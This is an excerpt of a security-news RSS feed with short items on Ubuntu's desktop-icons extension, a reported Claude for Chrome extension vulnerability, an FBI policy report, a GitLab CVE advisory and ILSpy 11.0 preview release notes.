<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4686/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ubuntu’s desktop icons extension completes its GTK4 port]]></title>
<description><![CDATA[The Desktop Icons NG (aka DING) GNOME Shell extension Ubuntu uses to put icons on your literal desktop, has been busy – it finished its port to GTK4, patched memory leaks and improved a few of its lesser-known features. The GTK4 port landed in v51.0.0, released this month, alongside early support...]]></description>
<link>https://tsecurity.de/de/3680093/linux-tipps/ubuntus-desktop-icons-extension-completes-its-gtk4-port/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680093/linux-tipps/ubuntus-desktop-icons-extension-completes-its-gtk4-port/</guid>
<pubDate>Mon, 20 Jul 2026 00:54:28 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/dingo.jpg?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="Desktop Icons NG text written around the outline of some icons." decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/dingo.jpg?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/dingo.jpg?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/dingo.jpg?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/dingo.jpg?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">The Desktop Icons NG (aka DING) GNOME Shell extension Ubuntu uses to put icons on your literal desktop, has been busy – it finished its port to GTK4, patched memory leaks and improved a few of its lesser-known features. The GTK4 port landed in v51.0.0, released this month, alongside early support for GNOME 51 (since that’s the GNOME version Ubuntu 26.10 will ship with in October). Prior to that, there were other, smaller in June with fixes for memory leaks and buffs to usability. DING’s GTK4 port – not to be confused with a separate GTK4 fork I covered back in […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/ubuntu-desktop-icons-extension-gtk4-port">Ubuntu’s desktop icons extension completes its GTK4 port</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['The bypass is still six lines of JavaScript': Security experts warn that Claude for Chrome browser extension could be hijacked, despite it alerting Anthropic several times that something was wrong]]></title>
<description><![CDATA[Researchers found Claude’s Chrome extension still contains vulnerabilities allowing fake clicks and permission bypasses despite Anthropic releasing multiple updates.]]></description>
<link>https://tsecurity.de/de/3679834/it-nachrichten/the-bypass-is-still-six-lines-of-javascript-security-experts-warn-that-claude-for-chrome-browser-extension-could-be-hijacked-despite-it-alerting-anthropic-several-times-that-something-was-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679834/it-nachrichten/the-bypass-is-still-six-lines-of-javascript-security-experts-warn-that-claude-for-chrome-browser-extension-could-be-hijacked-despite-it-alerting-anthropic-several-times-that-something-was-wrong/</guid>
<pubDate>Sun, 19 Jul 2026 20:17:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers found Claude’s Chrome extension still contains vulnerabilities allowing fake clicks and permission bypasses despite Anthropic releasing multiple updates.]]></content:encoded>
</item>
<item>
<title><![CDATA[The FBI reportedly won’t investigate ICE anymore]]></title>
<description><![CDATA[According to the New York Times, federal agents have been told that the FBI will no longer be investigating confrontations involving ICE agents. The DHS and DOJ denied the change in policy to The Times. The reported change in guidance follows renewed scrutiny of violence by ICE agents who have ki...]]></description>
<link>https://tsecurity.de/de/3679768/it-nachrichten/the-fbi-reportedly-wont-investigate-ice-anymore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679768/it-nachrichten/the-fbi-reportedly-wont-investigate-ice-anymore/</guid>
<pubDate>Sun, 19 Jul 2026 18:52:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[According to the New York Times, federal agents have been told that the FBI will no longer be investigating confrontations involving ICE agents. The DHS and DOJ denied the change in policy to The Times. The reported change in guidance follows renewed scrutiny of violence by ICE agents who have killed two people in the […]]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3758 | GitLab up to 15.7.7/15.8.3/15.9.1 Private Snippet permission (Issue 379598 / EUVD-2022-43112)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in GitLab up to 15.7.7/15.8.3/15.9.1. This affects an unknown part of the component Private Snippet Handler. Such manipulation leads to permission issues.

This vulnerability is documented as CVE-2022-3758. The attack can be executed re...]]></description>
<link>https://tsecurity.de/de/3679760/sicherheitsluecken/cve-2022-3758-gitlab-up-to-157715831591-private-snippet-permission-issue-379598-euvd-2022-43112/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679760/sicherheitsluecken/cve-2022-3758-gitlab-up-to-157715831591-private-snippet-permission-issue-379598-euvd-2022-43112/</guid>
<pubDate>Sun, 19 Jul 2026 18:29:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/gitlab">GitLab up to 15.7.7/15.8.3/15.9.1</a>. This affects an unknown part of the component <em>Private Snippet Handler</em>. Such manipulation leads to permission issues.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2022-3758">CVE-2022-3758</a>. The attack can be executed remotely. There is not any exploit available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[ILSpy 11.0 Preview 1]]></title>
<description><![CDATA[WarningWe DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.
Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-th...]]></description>
<link>https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</guid>
<pubDate>Sun, 19 Jul 2026 16:33:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-warning"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-alert mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Warning</p><p><strong>We DO NOT own the domain ilspy[.]org</strong> See <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211773802" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3709" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3709/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3709">#3709</a><br>
Download ILSpy only from GitHub Releases!</p>
</div>
<p>This release is based on <a href="https://dotnet.microsoft.com/en-us/download/dotnet/10.0" rel="nofollow">.NET 10.0</a>. Please make sure that you have it installed on your machine beforehand.</p>
<p>Note for Mac users: see <a href="https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact">https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact</a> because the ILSpy.app is neither signed nor notarized.</p>
<h1>Avalonia Cross Platform Port</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630432393" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3755" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3755/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3755">#3755</a>: Avalonia 12 Port and Removal of the WPF UI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632742730" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3759" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3759/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3759">#3759</a>: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4638079113" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3766" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3766/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3766">#3766</a>: Round-trip the legacy WPF SessionSettings shape</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639024005" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3768" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3768/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3768">#3768</a>: Build, test, and package ILSpy on Linux and macOS in CI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810623972" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3861" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3861/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3861">#3861</a>: Show text-based resources inline with syntax highlighting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4852089007" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3875" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3875/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3875">#3875</a>: Avalonia 12.1</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4863426967" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3876" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3876/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3876">#3876</a>: Keep BAML decompilation working when WPF assemblies are missing</li>
</ul>
<h1>New Features</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789908433" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3847" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3847/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3847">#3847</a>: Unpack !AvaloniaResources into per-file resource tree nodes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718765259" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3801" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3801/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3801">#3801</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712188871" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3797" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3797/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3797">#3797</a>: resolve ilspycmd -t type names with fuzzy matching</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4683952279" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3789" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3789/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3789">#3789</a>: Add a bookmarks feature for the decompiled C# view</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666953116" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3786" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3786/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3786">#3786</a>: Add omnibar breadcrumb and search bar above the decompiled code</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639165641" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3769" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3769/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3769">#3769</a>: Make the override modifier a link to the overridden member</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634190887" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3762" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3762/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3762">#3762</a>: Add Open from NuGet feed dialog for browsing and opening packages</li>
</ul>
<h1>User Interface</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808073575" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3857" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3857/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3857">#3857</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="665845843" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2078" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2078/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2078">#2078</a>: Generic local functions not highlighted properly</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807826529" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3855" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3855/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3855">#3855</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4781346048" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3845" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3845/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3845">#3845</a>: Add option to expand XML documentation comments</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732796565" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3814" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3814/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3814">#3814</a>: Toggle the fold under the right-click, not at the caret</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732765182" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3812" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3812/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3812">#3812</a>: Syntax-colour analyzer signatures with bold type names (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="704805286" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2164" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2164/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2164">#2164</a>)</li>
</ul>
<h1>Enhancements</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832648354" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3872" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3872/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3872">#3872</a>: Decompile await on dynamic expressions</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759122422" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3837" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3837/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3837">#3837</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720769518" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3804" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3804/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3804">#3804</a>: decompile foreach over inline array</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687061981" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3791" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3791/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3791">#3791</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650340876" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3777" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3777/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3777">#3777</a>: decompile runtime async without a separate C# 15 setting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761445685" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3843" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3843/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3843">#3843</a>: Bound XamarinCompressedFileLoader against crafted XALZ headers</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761395399" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3842" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3842/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3842">#3842</a>: Bound WebCilFile section access against mapped-view length</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761295787" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3841" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3841/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3841">#3841</a>: Harden BAML reader against crafted-resource crashes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735803980" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3816" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3816/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3816">#3816</a>: Allow overriding an assembly's target framework for reference resolution</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761169648" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3840" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3840/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3840">#3840</a>: Bound .rsrc resource-tree parsing against crafted input</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759588790" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3838" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3838/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3838">#3838</a>: Guard against OOB read when bundle signature is at file start</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737336554" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3818" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3818/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3818">#3818</a>: Display the IL 'tail.' prefix in C# output</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723910454" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3808" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3808/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3808">#3808</a>: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719933938" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3802" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3802/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3802">#3802</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718225639" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3799" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3799/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3799">#3799</a> and three related stackalloc initializer decompilation defects</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652771245" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3780" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3780/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3780">#3780</a>: Compute public-key tokens with a managed SHA-1</li>
</ul>
<h1>Documentation</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820002722" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3868" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3868/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3868">#3868</a>: CONTRIBUTING.md for the AI era</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820951011" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3870" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3870/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3870">#3870</a>: Add decompiler architecture document</li>
</ul>
<h1>Testing / Infrastructure</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644097043" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3771" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3771/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3771">#3771</a>: Run the decompiler test suite on Linux</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671571517" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3788" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3788/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3788">#3788</a>: Use cross-platform separators for the FSharp.Core.dll test path</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723637729" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3807" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3807/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3807">#3807</a>: Adopt SDK default Compile items in Decompiler and Decompiler.Tests</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733975594" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3815" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3815/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3815">#3815</a>: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758438764" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3836" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3836/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3836">#3836</a>: Don't assert decompiled local types match the signature</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761139795" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3839" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3839/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3839">#3839</a>: Add fine-grained debug steps with highlighting for C# and ILAst</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793373898" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3849" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3849/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3849">#3849</a>: Set OpenSSL SHA1 flag in build scripts</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808741983" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3859" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3859/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3859">#3859</a>: Add test coverage for untested corners of implemented language features</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851968414" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3874" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3874/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3874">#3874</a>: Upload TestCases folder as artifact when CI tests fail</li>
</ul>
<h1>Contributions</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801689525" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3851" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3851/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3851">#3851</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801681484" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3850" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3850/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3850">#3850</a>: recover ReadOnlySpan array literals from the legacy lazy cache — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864134658" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3878" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3878/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3878">#3878</a>: Handle negative dictionary capacity in string switch transform — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750785500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3828" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3828/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3828">#3828</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713145" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3826" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3826/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3826">#3826</a>: wrap an overflowing constant subexpression in unchecked() — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752170808" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3831" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3831/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3831">#3831</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713020" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3825" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3825/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3825">#3825</a>: reconstruct async iterators with [EnumeratorCancellation] and await in finally — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
